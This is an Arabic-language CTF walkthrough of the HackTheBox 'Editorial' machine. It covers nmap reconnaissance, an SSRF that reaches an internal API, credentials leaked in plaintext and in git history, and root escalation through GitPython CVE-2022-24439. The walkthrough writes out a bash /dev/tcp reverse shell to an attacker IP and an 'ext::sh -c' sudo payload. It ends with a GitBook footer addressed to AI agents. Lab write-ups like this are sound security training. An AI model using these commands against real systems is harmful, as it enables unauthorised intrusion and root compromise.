> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md).

# تقرير Editorial على HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Editorial>" %}

{% hint style="warning" %}
**المهارات:**

* SSRF
* سجل Git
* Git Python
  {% endhint %}

## الاستطلاع <a href="#reconnaissance" id="reconnaissance"></a>

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/c2f2ac9260695b5d03853921d190b7b9127a04b2" alt=""><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/5f44f9a12dea40ddd2a9e468e3e5a3b4edf44742" alt=""><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.20 -oG allPorts
```

<figure><img src="/files/6f2a67122e22a70b0ea77ac595d8c4d7522c4bfe" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم الدالة extractPorts لعرض المنافذ المفتوحة بتنسيق موجز ونسخها إلى الحافظة.

<figure><img src="/files/2bf2f67b4a9a255c00ae31f63a62ecdf353a34a5" alt="" width="563"><figcaption></figcaption></figure>

**فحص إصدارات المنافذ باستخدام Nmap:**

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p80,22 10.10.11.20 -oN targeted
```

<figure><img src="/files/04e8cd963b6f681601543e35bf1c397925dc4962" alt=""><figcaption></figcaption></figure>

لتحويل أسماء النطاقات إلى عناوين IP عبر DNS، أدخل اسم النطاق المرتبط بعنوان IP الخاص به في الـ `/etc/hosts` الملف.

<figure><img src="/files/bc1ac8817183f51628c429b1286a926d8c83f6c1" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/de25c73e7ee7c696e806928d833518110fbdcb9a" alt=""><figcaption></figcaption></figure>

## ثغرة [SSRF](/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf.md):

زر "Browse" يتيح لنا تنزيل ملف يُفترض أنه صورة تمثل غلاف كتاب. بينما يسمح حقل النص “Cover URL linked to your book” بإدخال عنوان URL حتى تتمكن الخدمة من عرضه ويمكن رفع صورة.

<figure><img src="/files/755e46134cf369815b073ce530e29bcd4a513fee" alt=""><figcaption></figcaption></figure>

#### **الفتح** [**Burp Suite**](/ar/hacking-tools/web/burpsuite.md)**:**

عندما يتم رفع صورة إلى الخادم، يتم توفير رابط إلى موقع تخزينها.

<figure><img src="/files/f03e1ea2b2c4d646b6e63e588ccdfa3cec9ddecb" alt=""><figcaption></figcaption></figure>

ثم نقوم بهجوم القوة الغاشمة على جميع المنافذ 65,535 ونرى أن المنفذ 5000 فقط يعيد استجابة مختلفة.

<figure><img src="/files/f52ffb12231780b058427f60e9d89fdb000d1d0d" alt=""><figcaption></figcaption></figure>

من خلال فحص محتويات المنفذ الداخلي 5000، نكتشف أنه يتيح تنزيل ملف.

<figure><img src="/files/d0c7a74eb2dfc715a8a2c5abaccacd15caec6608" alt=""><figcaption></figcaption></figure>

هذا الملف، بصيغة JSON، يسرد واجهات برمجة التطبيقات الداخلية مع المسارات المرتبطة بها. ومن بينها، فإن `message/authors` يبدو هذا المسار بالغ الأهمية.

<figure><img src="/files/3431fdad963c8b17b07eab03623d6f4d29ebe040" alt=""><figcaption></figcaption></figure>

باستخدام Burp Suite، نصل لذلك إلى الملف عبر المنفذ 5000 على العنوان التالي:

```url
http://127.0.0.1:5000/api/latest/metadata/messages/authors
```

<div data-full-width="true"><figure><img src="/files/024c3e6532535ebba650b077976097d955eddc8b" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/49d1a728ba17ff00a3dae8025999533a85fd0110" alt=""><figcaption></figcaption></figure>

في هذا الملف نجد أيضًا اسم مستخدم وكلمة مرور واضحين `dev:dev080217_devAPI!@`

<figure><img src="/files/e893e14e62214e49843c40e9227d281e57631394" alt=""><figcaption></figcaption></figure>

ثم نحاول الاتصال بـ `SSH` عبر المنفذ 22، وهو مفتوح، وننجح في الحصول على علم المستخدم.

<figure><img src="/files/3d10a75cd56dea76ce43b35c1ce4b94d4852d87f" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات

#### بعد الوصول إلى خادم Linux، يُنصح بتشغيل الأوامر التالية في الطرفية لتحسين كفاءة العمل والراحة:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

من خلال الانتقال إلى جذر النظام، نرى وجود مستخدمين اثنين: **dev** و **prod**.

<figure><img src="/files/b5555dc47eb89a79ab0d79be8283bd4f2aa4436a" alt="" width="543"><figcaption></figcaption></figure>

المستخدم **dev** يحتوي على مجلدين مرئيين ومجلد مخفي واحد باسم "git". وباستخدام الأمر `git log` نلاحظ وجود التزامين (commits) مختلفين.

<figure><img src="/files/876d31a074b480700f6c12385d93badecd616af7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/069ecfecfff48e7dfd67681d76e7733ec20105d6" alt=""><figcaption></figcaption></figure>

من بين هذه الالتزامات، تظهر كلمة مرور المستخدم **prod** بنص واضح: `prod:080217_Producti0n_2023!@`.

<figure><img src="/files/1b2768ed10839692f705c6a1178c7155b47672f5" alt=""><figcaption></figcaption></figure>

ثم نسجل الدخول عبر SSH كمستخدم **prod**.

<figure><img src="/files/f988da850d64cf955186d91b6f9f7073b56d9279" alt=""><figcaption></figcaption></figure>

### Sudoers:

من خلال تشغيل الأمر `sudo -l` الأمر، نكتشف أننا نملك القدرة على تشغيل سكربت كـ **root**.

<figure><img src="/files/ebf80bc88e62b656dc3568ea27c2930feb458f04" alt=""><figcaption></figcaption></figure>

إصدار ضعيف من مكتبة Git، تم تحديده بواسطة `clone_from` الدالة، موجود. ومن خلال عرض قائمة حزم Python باستخدام `pip3 list`، نلاحظ أن **GitPython 3.1.29** مثبّت، وهو إصدار معروف بثغرة **CVE-2022-24439**، والتي تسمح بتنفيذ تعليمات برمجية عشوائية. يمكن استغلال هذا الخلل كما يلي:

<figure><img src="/files/53a923d3614b4f22cd49d2108f90994c316fb342" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/gitpython-developers/GitPython/issues/1515>" %}

سننشئ سكربت استغلال في الدليل المؤقت للحصول على شل عكسي:

```bash
bash -i >& /dev/tcp/10.10.14.139/4444 0>&1
```

<div data-full-width="true"><figure><img src="/files/3d76d7b2b9e9ec9995a824f9de20094797660cb7" alt=""><figcaption></figcaption></figure></div>

ثم على جهازنا نستمع على المنفذ 4444 باستخدام **netcat**

<figure><img src="/files/a2513bc6dfa38210de465ee030df56be9808c761" alt="" width="502"><figcaption></figcaption></figure>

أخيرًا، نشغّل الملف الثنائي باستخدام **sudo**، مع إضافة الحمولة الخاصة بنا:

```
ext::sh -c bash% /tmp/shell
```

{% code overflow="wrap" fullWidth="true" %}

```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'
```

{% endcode %}

### علم الروت :)

<div align="right"><figure><img src="/files/232c0a37c15bfc548d7cd8f4c5227d9b163781cb" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/de04dbea38bfc1506df62160cfabe40e8a946627" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
